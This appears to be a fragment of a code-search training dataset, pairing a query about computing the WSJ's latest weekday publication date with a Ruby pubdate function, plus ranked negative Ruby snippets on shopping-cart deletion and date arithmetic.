"def remove_item\n\n transaction do\n self.destroy\n \n self.shopping_cart.item_cost ||= 0\n self.shopping_cart.item_cost -= self.item_cost\n\n self.shopping_cart.product_deposit_cost ||= 0\n self.shopping_cart.product_deposit_cost -= self.product_deposit_cost\n \n self.shopping_cart.category_supplement_1_cost ||= 0\n self.shopping_cart.category_supplement_1_cost -= self.category_supplement_1_cost\n self.shopping_cart.category_supplement_2_cost ||= 0\n self.shopping_cart.category_supplement_2_cost -= self.category_supplement_2_cost\n self.shopping_cart.category_supplement_3_cost ||= 0\n self.shopping_cart.category_supplement_3_cost -= self.category_supplement_3_cost\n\n self.shopping_cart.calculate_cost(false, true)\n begin\n self.shopping_cart.save\n rescue DataMapper::SaveFailureError => error\n p \"Error saving shopping cart: #{self.shopping_cart.errors.full_messages.inspect}\"\n raise error\n end\n end\n\n end",
"def remove_item(name, cart)\n \n if cart.delete(name) != nil\n puts 'Item successfully removed!'\n else\n puts 'No such item in cart!'\n end\n \n p cart\n \nend",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n if current_cart.line_items.empty?\n format.html { redirect_to(bikes_path, :notice=> 'Your cart is empty') }\n else \n format.html { redirect_to(current_cart, :notice=> 'Item Removed') } \n end\n\n format.xml { head :ok }\n end\n \n end",
"def destroy\n @line_item.destroy\n @line_items = @cart.line_items\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def clear_item_from_cart\n\t\tcart_hash = session[:cart]\n\n\t\tredirect_to root_url\n\tend",
"def clear_cart\n items=CartItem.where(:cart_id=>self.id)\n items.each do |item|\n item.destroy\n end\n end",
"def destroy\n @basket_item.destroy\n respond_to do |format|\n format.html { redirect_to basket_items_url, notice: 'Basket item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n redirect_to items_url, notice: \"This item was removed from the system.\"\n end",
"def clear_cart\n update_cart({})\n end",
"def destroy\n @lint_item.destroy\n respond_to do |format|\n format.html { redirect_to lint_items_url }\n format.json { head :no_content }\n end\n=begin\n @lint_item = LintItem.find(params[:id])\n @lint_item.destroy\n respond_to do |format|\n if @lint_item.cart.lint_items.empty?\n format.html { redirect_to store_url, notice: 'Your cart is empty' }\n else \n format.html { redirect_to @lint_item.cart, notice: 'Product was successfully Removed.'}\n end\n format.json { head :no_content }\n end\n=end\n end",
"def destroy\n @cart = Cart.find(params[:id])\n @cart.destroy\n\n respond_to do |format|\n format.html { redirect_to carts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart = Cart.find(params[:id])\n @cart.destroy\n\n respond_to do |format|\n format.html { redirect_to carts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart = Cart.find(params[:id])\n @cart.destroy\n\n respond_to do |format|\n format.html { redirect_to carts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cart = Cart.find(params[:id])\n @cart.destroy\n\n respond_to do |format|\n format.html { redirect_to carts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @carts_product = @cart.carts_products.find(params[:id])\n @carts_product.destroy\n\n respond_to do |format|\n format.html { redirect_to @cart }\n format.json { head :no_content }\n end\n end",
"def remove_item(id:)\n order.items.destroy(id)\n end",
"def destroy\n @shop_item = ShopItem.find(params[:id])\n\n @shop_item.quantity -= 1\n if @shop_item.quantity == 0\n @shop_item.destroy\n else\n @shop_item.save\n end\n @shop_cart = current_shop_cart # method in application_controller.rb\n\n respond_to do |format|\n if @shop_item.shop_cart\n format.html { redirect_to(my_store_url) }\n format.js { @current_shop_item = @shop_item } # AJAX response, see ../views/shop_items/destroy.js.rjs\n format.xml { head :ok }\n else\n format.html { redirect_to(my_store_path) }\n format.js { @current_shop_item = @shop_item } # AJAX response, see ../views/shop_items/destroy.js.rjs\n format.xml { render :xml => @shop_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def remove_test\n #@cart = find_cart(params[:patient_id])\n @cart.reset_cart(params[:id], params[:s_no])\n respond_to do |format|\n format.js\n end\n end",
"def item_destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to item_index_path, notice: 'O item foi removido com sucesso.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7956798",
"0.79337883",
"0.7791225",
"0.77619106",
"0.7696895",
"0.7645814",
"0.7348551",
"0.73236763",
"0.72768754",
"0.7234894",
"0.7226352",
"0.722203",
"0.722203",
"0.71857285",
"0.71670955",
"0.7165987",
"0.7148073",
"0.7123608",
"0.71204686",
"0.7099394",
"0.7096567",
"0.7087299",
"0.70856845",
"0.707751",
"0.7071642",
"0.7068729",
"0.7067891",
"0.7053999",
"0.7027211",
"0.7026092",
"0.700841",
"0.69951826",
"0.6980193",
"0.6949219",
"0.6941759",
"0.6917535",
"0.69123983",
"0.6910375",
"0.68985134",
"0.6890889",
"0.6879415",
"0.6870059",
"0.68642277",
"0.6863799",
"0.6862524",
"0.68585646",
"0.68367934",
"0.6816291",
"0.6812696",
"0.681197",
"0.6801998",
"0.67980915",
"0.6780798",
"0.6740722",
"0.6726291",
"0.6720401",
"0.66995627",
"0.669413",
"0.66919917",
"0.66656476",
"0.6640329",
"0.663273",
"0.66285366",
"0.66256547",
"0.661595",
"0.6590235",
"0.65865386",
"0.65836924",
"0.6578973",
"0.6571698",
"0.65348065",
"0.6525938",
"0.6517213",
"0.6499735",
"0.64832747",
"0.64815897",
"0.6474228",
"0.6471404",
"0.6469497",
"0.6467519",
"0.64589185",
"0.64377487",
"0.6420561",
"0.64107496",
"0.63937235",
"0.63884765",
"0.6376333",
"0.63750005",
"0.63643986",
"0.63602716",
"0.6358149",
"0.6347259",
"0.6347259",
"0.6347259",
"0.6347259",
"0.6345852",
"0.6322249",
"0.631213",
"0.6309347",
"0.6299111"
] |
0.7750645
|
4
|
Finds the latest date of issue WSJ runs MonFri with Front Page, Onipion, and Money & Investing so, on the weekend returns the previous Friday, either 24 or 48 hours ago in yyyymmdd
|
def pubdate(format="%Y%m%d")
t = Time.now
case t.strftime("%A")
when 'Saturday'
(t-(48*60*60)).strftime(format)
when 'Sunday'
(t-(24*60*60)).strftime(format)
else
t.strftime(format)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prev_working_date(date)\n cwday = date.cwday\n days = 0\n while true\n days -= 1\n cwday -= 1\n if cwday == 0\n cwday = 7\n end\n break unless non_working_week_days.include?(cwday) || days < -7\n end\n date + days\n end",
"def date_end # originally date_start\n\tdate = Date.today\n\t(1..7).each do |n|\n\t\tdate = Date.today - n#.days\n\t\tbreak if date.wday == 6 # 0 = Sun, 1 = Mon ... 6 = Sat\n\tend\n\tdate\nend",
"def cutoff_date\n case date.wday\n when 0\n date + (weeks.to_i * 7)\n when 1\n date + (weeks.to_i * 7) - 1\n when 2\n date + (weeks.to_i * 7) - 2\n when 3\n date + (weeks.to_i * 7) - 3\n when 4\n date + (weeks.to_i * 7) - 4\n when 5\n date + (weeks.to_i * 7) - 5\n when 6\n date + (weeks.to_i * 7) + 1\n end\n end",
"def deadline\n weekly ? self.created_at.sunday.beginning_of_day : self.created_at.end_of_day\n end",
"def get_next_date\n today_wday = Date.today.wday\n wday_s = get_weekday(limit_weekday_start)\n wday_e = get_weekday(limit_weekday_end)\n if(wday_s < wday_e)\n if(today_wday > wday_e or today_wday < wday_s or(today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = (wday_s + 7 - today_wday)%7\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = wday_e - today_wday\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n else\n if((wday_e < today_wday and today_wday < wday_s) or (today_wday == wday_s and Time.now.hour < limit_time_start) or (today_wday == wday_e and Time.now.hour > limit_time_end))\n need_day = wday_s - today_wday\n return Time.parse(limit_time_start.to_s + \":00\", Time.now + need_day.day), true\n else\n need_day = (wday_e + 7 - today_wday)%7\n return Time.parse(limit_time_end.to_s + \":00\", Time.now + need_day.day), false\n end\n end\n end",
"def end_date\n (created_at - 1.week).sunday - 1.day\n end",
"def prev_weekday\n if prev_day.on_weekend?\n copy_time_to(beginning_of_week(:friday))\n else\n prev_day\n end\n end",
"def prev_weekday\n if prev_day.on_weekend?\n copy_time_to(beginning_of_week(:friday))\n else\n prev_day\n end\n end",
"def last_week\n (Time.zone.today - 7.days).strftime('%d-%b-%Y')\n end",
"def next_sunday(due_to_date)\n\t\t\tright_now = Time.zone.now\n\t\t\tright_now += 6.days if right_now <= due_to_date # approximation should be fine, ignore edge cases for now\n return right_now + (7 - right_now.wday).days + (22 - right_now.hour).hours + (0 - right_now.min).minutes + (0 - right_now.sec).second\n\t end",
"def date_of_last_week\n current = Time.current\n current -= 1.week\n current.strftime('%Y-%V')\n end",
"def days_past_in_week\n to_date.cwday\n end",
"def date_of_previous(day)\n\t day_required = DateTime.parse(day)\n\t delta = day_required < DateTime.now ? 0 : 7\n\t (day_required - delta)\n\tend",
"def working_date(date)\n offset = case date.wday\n when 2..6 then 1\n when 1 then 3\n when 0 then 2\n end\n\n date - offset\n end",
"def beginning_of_week; end",
"def beginning_of_week; end",
"def get_week_day(date)\n # If date is in the future, use today's date\n date_to_use = date\n if date_to_use > Date.today\n date_to_use = Date.today\n end\n\n # If date is on weekend, get previous Friday\n offset = 0\n if date_to_use.wday == 0\n offset = 2\n end\n if date_to_use.wday == 6\n offset = 1\n end\n date_to_use - offset\n end",
"def day_after day\r\n return convert_day_to_date(day).tomorrow.strftime('%Y%m%d')\r\n end",
"def inspection_shedule#(last_inspect_date)\n \t#self.inspection_at = Date.today\n if self.inspection_at.nil?\n else\n if self.rebuke == true\n next_inspect_at = self.inspection_at.next_day()\n else\n next_inspect_at = self.inspection_at.next_year()\n end\n if next_inspect_at.cwday == 6\n \tself.next_inspection_at = next_inspect_at.next_day(2)\n elsif next_inspect_at.cwday == 7\n \tself.next_inspection_at = next_inspect_at.next_day()\n else\n self.next_inspection_at = next_inspect_at\n end\n end\n end",
"def last_week\n Date.week(Date.today - 7)\n end",
"def previous_week\n if self.class == Date\n self - 7\n elsif self.class == Time\n self - (60 * 60 * 24 * 7)\n end\n end",
"def previous_week\n if self.class == Date\n self - 7\n elsif self.class == Time\n self - (60 * 60 * 24 * 7)\n end\n end",
"def weekdays_ago(time = ::Time.now)\n # -5.weekdays_ago(time) == 5.weekdays_from(time)\n return self.abs.weekdays_from(time) if self < 0\n \n x = 0\n curr_date = time\n\n until x == self\n curr_date -= 1.days\n x += 1 if curr_date.weekday?\n end\n\n curr_date\n end",
"def last_friday_with_readings(supply = nil)\n readings_with_selected_meters(supply, nil).where(\"extract(dow from reading_date) = ?\", 5).maximum(:reading_date)\n end",
"def previous_working_day(date_time)\n date_time = date_time - 1\n while !working_day?(date_time)\n date_time = date_time - 1\n end\n date_time\n end",
"def next_working_date(date)\n cwday = date.cwday\n days = 0\n while non_working_week_days.include?(((cwday + days - 1) % 7) + 1)\n days += 1\n end\n date + days\n end",
"def last_date\n\t\tlast_date_value = expected_end_date\n\t\tif last_report_aux = last_report\n\t\t\tif last_report_aux.created_at > expected_end_date\n\t\t\t\tlast_date_value = last_report_aux.created_at\n\t\t\tend\n\t\tend\n\n\t\tif Date.today > last_date_value\n\t\t\tlast_date_value = Date.today\n\t\tend\n\n\t\treturn last_date_value\n\tend",
"def prev_occurring(day_of_week)\n ago = wday - DAYS_INTO_WEEK.fetch(day_of_week)\n ago += 7 unless ago > 0\n advance(days: -ago)\n end",
"def first_wday; (wday - day + 1) % 7 end",
"def last_full_week(supply)\n friday = self.last_friday_with_readings(supply)\n friday.nil? ? nil : friday - 4.days..friday\n end",
"def weekdays_ago(date = ::Time.now.to_date)\n x = 0\n curr_date = date\n until x == self\n curr_date = curr_date - 1.days\n x += 1 if curr_date.weekday?\n end\n \n curr_date\n end",
"def find_next_week\n if @schedule.days == 0\n date = @date + ((@schedule.start_date.wday - @date.wday) % 7) + (7 * ((@schedule.start_date - @date) % @schedule.period_num))\n return date\n else\n date = @date + find_next_in_bitmask(@schedule.days, @date.wday, 7)\n\n if @date.wday >= bitmask(@schedule.days).length\n date += periods_to_add * 7\n end\n\n return date\n end\n end",
"def end_of_week\n 6.days.from_now(beginning_of_week).end_of_day\n end",
"def date_of_next_week_count(find_week)\n current = Time.current\n week_count = find_week_count(current)\n while week_count != 1\n current += 1.week\n week_count = find_week_count(current)\n end\n\n while week_count != find_week\n current += 1.week\n week_count = find_week_count(current)\n end\n\n current.strftime('%Y-%V')\n end",
"def next_weeks_open_house_dates(open_house_dow)\n now = Time.now\n dates = []\n (0...7).each do |day_offset|\n days = day_offset*24*60*60\n date = now + days\n if open_house_dow.include?(date.wday)\n dates << now + days\n end\n end\n dates\n end",
"def end_of_week; self + (6 - wday).days end",
"def last_calendar_day\n @date.end_of_month.end_of_week(:sunday)\n end",
"def display_back_start_day\n display_start_day_of_week(period)\n end",
"def end_date\n Date.new((@number + 1), 1, 1).tuesday? ? Date.new((@number + 1), 1, 1) : Date.new(@number, 12, 31)\n end",
"def final_due_date\n del = self.deliverables\n return nil unless del.size > 0\n\n dates = del.collect(&:due).delete_if { |d| d.blank?}\n \n return dates.sort[-1] \n end",
"def previous_dow(dow, date = Date.today)\n target_day = Date::DAYNAMES.index(dow.to_s.capitalize)\n\n raise ArgumentError, \"Bad DOW: #{dow}\" if target_day.nil? \n raose ArgumentError, \"Bad DATE: #{date.class}\" unless date.is_a? Date\n\n result = date.prev_day\n result = result.prev_day until result.wday == target_day\n\n result\nend",
"def past_start_date\n past_start_date = Time.zone.today - 6.days\n past_start_date < charge_start_date ? charge_start_date : past_start_date\n end",
"def week_eliminated(chefstats)\n chefstats.each { |chefstat|\n if chefstat.stat.abbreviation == Stat::ELIMINATED_ABBR\n return chefstat.week\n end\n }\n return nil\n end",
"def last_fixity_date_time_before\n @last_fixity_date_time_before ||= formatted_last_fixity_date_time(blacklight_params['last_fixity_date_time_before'])\n end",
"def end_date_for_top_line\n if(end_date < Date.today) #If it is an old project.\n end_date_for_top_line = [project.maximum_chart_date(self), self.end_date].max\n else\n end_date_for_top_line = [project.maximum_chart_date(self), self.end_date, estimate_at_completion_duration.week.from_now].max\n end\n end",
"def last_fixity_date_time_after\n @last_fixity_date_time_after ||= formatted_last_fixity_date_time(blacklight_params['last_fixity_date_time_after'])\n end",
"def first_weekday_after_date(desired_weekday, date)\n offset = offset_of_first_weekday_after_weekday(desired_weekday, day_of_week(date))\n date + offset\nend",
"def date_of_next(day)\r\n date = Date.parse(day)\r\n delta = date > Date.today ? 0 : 7\r\n date + delta\r\nend",
"def get_report()\n # Get yesterday unless today is Monday then get Friday\n today = Date.today.strftime('%m/%d/%Y')\n yesterday = (Date.today-(Date.today.monday? ? 3 : 1)).strftime('%m/%d/%Y')\n date_pattern = /\\d\\d\\/\\d\\d\\/\\d\\d\\d\\d/\n report = \"\"\n last_date = \"\"\n File.foreach(\"$HOME/standup_report.txt\") do |line|\n data = line.chomp\n last_date = data if date_pattern.match(data)\n next if last_date == today || (last_date == yesterday && date_pattern.match(data))\n\n # End of 'yesterdays' report\n break if last_date != yesterday && date_pattern.match(data)\n\n report += data + \"\\n\"\n end\n report\nend",
"def last_7_day_kwh_usage_by_day\n usage_data = []\n Time.now.utc.to_date.downto(6.days.ago.utc.to_date).each do |date|\n usage_data << total_day_kwh_usage_on(date).round(2)\n end\n usage_data\n end",
"def next_weekday(weekday = 2)\n date = Date.today\n unless date.strftime(\"%w\") == weekday.to_s\n date += 1 + ((weekday -1 -date.wday) % 7)\n end\n date\n end",
"def get_business_utc n=0\n #if future\n if n >= 0\n return (n).business_day.from_now.to_date.utc\n else\n # if past\n return (-n).business_day.ago.to_date.utc\n end\nend",
"def last_payment_due_on\n entry = workshop_price.specific_payment_schedule(initial_payments_should_start_on, Date.today)\n entry ? entry[:due_on] : initial_payments_should_start_on.to_date\n end",
"def most_recent_weekly_high_tbill_rate(week_end_date)\n previous_monday = nth_weekday_at_or_before_date(1, DayOfWeek::Monday, week_end_date)\n date = if cboe_holiday?(previous_monday)\n # On Mondays that are bank holidays, Friday’s rates apply.\n # I believe that means the rates from the Monday prior to last Friday apply, because Treasury announces rates on Monday.\n nth_weekday_before_date(1, DayOfWeek::Monday, previous_monday)\n else\n previous_monday\n end\n \n rate = lookup_tbill_rate(date)\n if rate\n rate\n else\n # puts \"#{date} not found, trying #{date - 7}\"\n most_recent_weekly_high_tbill_rate(date - 7)\n end\nend",
"def sunday_after days_ago=0\n d = Date.today - days_ago\n until d.sunday?\n d += 1\n end\n d\nend",
"def last_week( remaining_days )\n pad = DPW - remaining_days.length\n\t\tremaining_days + Array.new( pad )\n end",
"def ending_of_week\n if current_week.index(day) == 6\n self.class.new(year, month, current_week.last)\n elsif current_week.index(day) < 6\n if self.class == Date\n self + (6 - current_week.index(day))\n elsif self.class == Time\n self + (60 * 60 * 24 * (6 - current_week.index(day)))\n end\n end\n end",
"def find_previous date\n loop do\n \treturn date if include?(date)\n \t#puts \"#{@resolution} : #{date}\"\n \tdate = end_of_previous @resolution, date\n end\n end",
"def timezone_next_friday(timezone_name)\n tz = TZInfo::Timezone.get(timezone_name)\n today = trim_to_start_of_day(tz.now.to_datetime)\n offset = 5 - today.cwday\n offset += 7 if offset < 0 # role to next week\n return today + offset\n end",
"def waiting_date (last_promo_item, plan)\n num = ((last_promo_item.validez - last_promo_item.created_at)/60/60/24).round\n case num\n when 7\n if (plan == 'plus')\n last_promo_item.validez + 3.days\n elsif (plan == 'basic')\n last_promo_item.validez + 10.days\n end\n when 3\n if (plan == 'plus')\n last_promo_item.validez + 2.days\n elsif (plan == 'basic')\n last_promo_item.validez + 5.days\n end\n when 1\n if (plan == 'plus')\n last_promo_item.validez + 1.days\n elsif (plan == 'basic')\n last_promo_item.validez + 2.days\n end\n else\n #Error -> Promo lasted and unselectable number of days\n end\n\n end",
"def end_week\n end_date.strftime('%W').to_i\n end",
"def friday\n day(:friday)\n end",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\nend",
"def sub_wf_launched_at; h.sub_wf_launched_at; end",
"def eval_date\n # FIXME: Make pref?\n h = Hash[\"mo\", 1, \"di\", 2, \"mi\", 3, \"do\", 4, \"fr\", 5, \"???\", 6]\n h.merge(Hash[\"mo\", 1, \"tu\", 2, \"we\", 3, \"th\", 4, \"fr\", 5, \"???\", 6])\n a = description.strip.downcase\n a = \"???\" if a.length < 3 || !h.include?(a[0..1])\n day = h[a[0..1]]\n time = a[2..a.length-1].strip.rjust(3, \"0\")\n \"#{day} #{time}\"\n end",
"def day_before day\r\n return convert_day_to_date(day).yesterday.strftime('%Y%m%d')\r\n end",
"def day_in_week_str\n\t\tdays = []\n\t\ttoday = Time.now\n\t\tdays.push(formatted(today))\n\t\ttoday_week_day = today.wday\n\t\tanothers = (0..6).select {|e| e != today_week_day}\n\t\tanothers.map do |e|\n\t\t\tdays.push(formatted(Time.at(today.to_i - e*day_second)))\n\t\tend\n\n\t\tdays.sort\n\tend",
"def last_week(x = 1)\n\t\tself - (604800 * x)\n\tend",
"def opening_time\n Time.current.beginning_of_week(:sunday)\n end",
"def biblreview_postponed_until\n postpone_date = postpone_dates.where(deleted_at: nil).where(\"postponed_until > (?)\", DateTime.now).first\n if postpone_date\n return postpone_date.postponed_until\n else\n return nil\n end\n end",
"def calc_offset_date(old_date, interval)\n # Calculate next review date, assuming:\n # - old_date is type\n # - interval is string of form nn[bdwmq]\n # - where 'b' is weekday (i.e. Monday-Friday in English)\n # puts \" c_o_d: old #{old_date} interval #{interval} ...\"\n days_to_add = 0\n unit = interval[-1] # i.e. get last characters\n num = interval.chop.to_i\n case unit\n when 'b' # week days\n # Method from Arjen at https://stackoverflow.com/questions/279296/adding-days-to-a-date-but-excluding-weekends\n # Avoids looping, and copes with negative intervals too\n current_day_of_week = old_date.strftime(\"%u\").to_i # = day of week with Monday = 0, .. Sunday = 6\n dayOfWeek = num.negative? ? (current_day_of_week - 12).modulo(7) : (current_day_of_week + 6).modulo(7)\n num -= 1 if dayOfWeek == 6\n num += 1 if dayOfWeek == -6\n days_to_add = num + (num + dayOfWeek).div(5) * 2\n when 'd'\n days_to_add = num\n when 'w'\n days_to_add = num * 7\n when 'm'\n days_to_add = num * 30 # on average. Better to use >> operator, but it only works for months\n when 'q'\n days_to_add = num * 91 # on average\n when 'y'\n days_to_add = num * 365 # on average\n else\n puts \" Error in calc_offset_date from #{old_date} by #{interval}\".colorize(WarningColour)\n end\n puts \" c_o_d: with #{old_date} interval #{interval} found #{days_to_add} days_to_add\" if $verbose > 1\n return old_date + days_to_add\nend",
"def beginning_of_fall_semester\n week = 4\n\n date = Chronic.parse(\"#{week}th thursday last august\")\n while date\n week += 1\n date = Chronic.parse(\"#{week}th thursday last august\")\n end\n\n Chronic.parse(\"#{week - 1}th thursday last august\").to_datetime\n end",
"def default_latest(earliest = default_earliest)\n earliest + 2.weeks\n end",
"def last_run\n DateTime.parse(\"1 Jan 2007\")\n end",
"def forecast_finish_date(basis_hours)\n if complete_ev(basis_hours) == 100.0\n @ev.keys.max\n elsif today_spi(basis_hours) == 0.0\n @pv.keys.max\n else\n if @issue_max_date < @basis_date\n rest_days = (@pv[@pv.keys.max] - @ev[@ev.keys.max]) / today_spi(basis_hours) / basis_hours\n @basis_date + rest_days\n else\n rest_days = @pv.count { |key, _value| key > @basis_date }\n @pv.keys.max - (rest_days - (rest_days / today_spi(basis_hours)))\n end\n end\n end",
"def offset_of_first_weekday_at_or_after_weekday(desired_weekday, current_weekday)\n (desired_weekday - current_weekday + 7) % 7\nend",
"def return_pending_status_lag\n referral = self\n if referral.email.admin_notification && referral.status == \"Pending\" && referral.is_interested == true\n last_update = Date.parse(referral.last_status_update.to_s)\n current_date = Date.parse(Time.now.to_s)\n days_lag = current_date - last_update\n else\n days_lag = 0\n end\n end",
"def calculate_pickup_date\n now = Time.now\n day_of_week = now.strftime('%w').to_i\n in_weekend = [6,0].include?(day_of_week)\n in_friday_after_cutoff = day_of_week == 5 and now.hour > @order_cutoff_time\n\n # If we're in a weekend (6 is Sat, 0 is Sun,) or we're in Friday after\n # the cutoff time, then our ship date will move\n if(in_weekend or in_friday_after_cutoff)\n pickup_date = now\n\n # if we're in another weekday but after the cutoff time, our ship date\n # moves to tomorrow\n elsif(now.hour > @order_cutoff_time)\n pickup_date = now\n else\n pickup_date = now\n end\n end",
"def screener_complete_date_for_unended_project\n\t\toe = self.operational_events.screener_complete.unended_project.limit(1).first\n\t\t#\tseparated to try to make 100% coverage (20120411)\n\t\toe.try(:occurred_on)\n\tend",
"def get_previous_date(current_date,date)\n date = date.gsub(\",\",\"\")\n date = date.gsub(\" \",\"-\")\n arr = date.split(\"-\")\n if !(current_date.mday == 1)\n newDay = arr[2].to_i - 1\n if newDay < 10\n newDay = \"0\" + newDay.to_s()\n end\n new_date = arr[1] + \"-\" + newDay.to_s() + \"-\" + arr[3]\n else\n new_date = arr[1] + \"-\" + arr[2]+ \"-\" + arr[3]\n end\n end",
"def get_metrics_days_back(days_back)\n now = Time.now - (1*24*60*60)\n prev = Time.now - ((days_back+1)*24*60*60)\n now = format_date(now)\n prev = format_date(prev)\n\n get_metrics_date_range(prev, now)\n end",
"def prev\n Issue.find(:first, :conditions => ['date < ?', date], :order => 'date DESC')\n end",
"def beginning_date\n Date.new(@number, 1, 1).tuesday? ? Date.new(@number, 1, 2) : Date.new(@number, 1, 1)\n end",
"def due_next_week_warning_mail\n PetitionMailer.due_next_week_warning_mail(Petition.live.first)\n end",
"def find_meetup_date\n Date.new(year, month).next_month.prev_day\n .downto(Date.new(year, month)) do |date|\n return date if correct_date?(date)\n end\n end",
"def next_weekday\n if next_day.on_weekend?\n next_week(:monday, same_time: true)\n else\n next_day\n end\n end",
"def next_weekday\n if next_day.on_weekend?\n next_week(:monday, same_time: true)\n else\n next_day\n end\n end",
"def most_recent_day\n if self.attendances.any? \n Service.find(self.attendances.map { |a| a.service_id }).max_by { |s| s.service_date }.service_date.to_date\n else\n nil\n end\n end",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n\n return date + delta\n end",
"def date_of_next(day)\n date = Date.parse(day)\n delta = date > Date.today ? 0 : 7\n date + delta\n end",
"def offset_of_first_weekday_at_or_before_weekday(desired_weekday, current_weekday)\n -((current_weekday - desired_weekday + 7) % 7)\nend",
"def day_of_week(date)\n 7 - date.cwday\n end",
"def last_business_day_of_month\n all_working_days_of_month.first\n end",
"def get_jobs_last_7_days()\n @data = get_all()\n now = Time.now.to_date\n jobs = []\n for job in @data[\"jobs\"]\n parsed_date = Date.strptime(job[\"date\"], \"%d/%m/%Y\")\n days_difference = (parsed_date - now).to_i\n if days_difference <= 7 && days_difference >= 0\n jobs.push(job)\n end\n end\n return jobs\n end",
"def days_left_in_week\n 7 - days_past_in_week\n end",
"def time_of_day_week(delta_minutes)\n # first sunday of the year at midnight\n first_sunday = Date.commercial(2019, 1, 7)\n # get a time object\n sunday_time = first_sunday.to_time\n # times work with seconds, trasform delta_minutes to seconds\n delta_sec = delta_minutes * 60\n # get the resulting time\n before_after_time = sunday_time + delta_sec\n #return a string rappresentation\n before_after_time.strftime('%A %H:%M')\nend",
"def out_of_date\n last_order_detail = self.order_details.order(\"created_at DESC\").first\n last_priced = self.product_prices.order(\"created_at DESC\").first\n\n if last_order_detail.nil?\n last_date = self.updated_at\n else\n last_date = last_order_detail.updated_at\n end\n\n if last_priced.present?\n if last_date < last_priced.created_at\n last_date = last_priced.created_at\n end\n end\n\n return (self.stock <= 0 and last_date < Time.now - 6.months)\n end",
"def get_next_date_for_next_weekday(week_day)\n DateTime.now + days_to_add(week_day)\nend",
"def last\n Koyomi::Week.new(self.koyomi_month.last, self.week_start).last\n end",
"def end_of_week\n if current_week.index(self.day) == 6\n self.class.new(year,month,current_week.last)\n elsif current_week.index(self.day) < 6\n if self.class == Date\n self + (6 - current_week.index(self.day))\n elsif self.class == Time\n self + (60 * 60 * 24 * (6 - current_week.index(self.day)))\n end\n end\n end",
"def expected_hand_in\n if self[:end_date].nil?\n Time.now.strftime('%Y-%m-%d')\n else\n d = self[:end_date].to_time + 4.weeks\n d.strftime('%Y-%m-%d')\n end\n end"
] |
[
"0.64499897",
"0.64085466",
"0.6347102",
"0.6332013",
"0.62868994",
"0.62403786",
"0.6228187",
"0.6228187",
"0.6174297",
"0.6171379",
"0.6138157",
"0.6114922",
"0.60781854",
"0.6076616",
"0.6047179",
"0.6047179",
"0.60168594",
"0.59650683",
"0.59397316",
"0.59099984",
"0.58622247",
"0.58619136",
"0.5819403",
"0.58114994",
"0.578607",
"0.57432663",
"0.57364714",
"0.572488",
"0.57240564",
"0.5714247",
"0.5708815",
"0.57011867",
"0.5686199",
"0.5681266",
"0.5662968",
"0.56586134",
"0.56519204",
"0.5646447",
"0.56204677",
"0.5606783",
"0.56064624",
"0.5586498",
"0.5583485",
"0.5578226",
"0.55741966",
"0.5569834",
"0.5569615",
"0.5556714",
"0.55548793",
"0.55516887",
"0.5543949",
"0.5541559",
"0.55383456",
"0.55377614",
"0.55342937",
"0.5522772",
"0.55190575",
"0.5511472",
"0.5507275",
"0.549136",
"0.54850185",
"0.5476739",
"0.54766977",
"0.5472744",
"0.54719543",
"0.54704213",
"0.54698056",
"0.5467815",
"0.5455055",
"0.54520214",
"0.54449403",
"0.5436144",
"0.5432831",
"0.5432243",
"0.5420559",
"0.5402511",
"0.5401613",
"0.539993",
"0.5389102",
"0.53848463",
"0.53844196",
"0.5383308",
"0.53814316",
"0.538053",
"0.53793496",
"0.5376964",
"0.5376964",
"0.53757375",
"0.5373298",
"0.53721845",
"0.5371063",
"0.53613514",
"0.53612804",
"0.5359307",
"0.53542256",
"0.5353609",
"0.53487444",
"0.5346514",
"0.53452057",
"0.5341739",
"0.53397787"
] |
0.0
|
-1
|
Downloads and scrapes the Today's Paper section of wsj.com
|
def get_new_articles
# Download the RSS feed and save to self.doc
get_source
# Keep track of which articles are in the feed
articles = []
article_links = (self.doc/'li.mjItemMain').collect do |mjItem|
mjItem.at('a.mjLinkItem')
end
# For each item in the RSS feed
article_links.each_with_index do |link, index|
# Create or update the article in the db
articles << Article.factory(
:category => self.category,
:description => '',
:feed => self,
:url => "http://online.wsj.com#{link.attributes['href']}",
:priority => index
)
end
articles
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def download\n @doc = Nokogiri::HTML(open(@url))\n\tend",
"def download\n if platinum_user_and_above?\n urls=SiteUrl.where(\"site is not null\")\n workbook = RubyXL::Workbook.new\n worksheet = workbook.worksheets[0]\n worksheet.sheet_name = 'urls'\n header = [\"Site\",\"Url\",\"Last Update\"]\n index = 0\n worksheet_write_row(worksheet,index,header)\n urls.each do |url|\n next if url.site.nil?\n next if url.site.empty?\n index += 1\n my_row = [url.site, url.url, url.updated_at]\n worksheet_write_row(worksheet,index, my_row)\n end\n file = \"Discovered_Urls_\" + Time.now.strftime('%m%d%Y') + \".xlsx\"\n send_data workbook.stream.string, filename: file, disposition: 'attachment'\n else\n redirect_back :fallback_location => root_path, :alert => \"Access denied.\"\n end\n end",
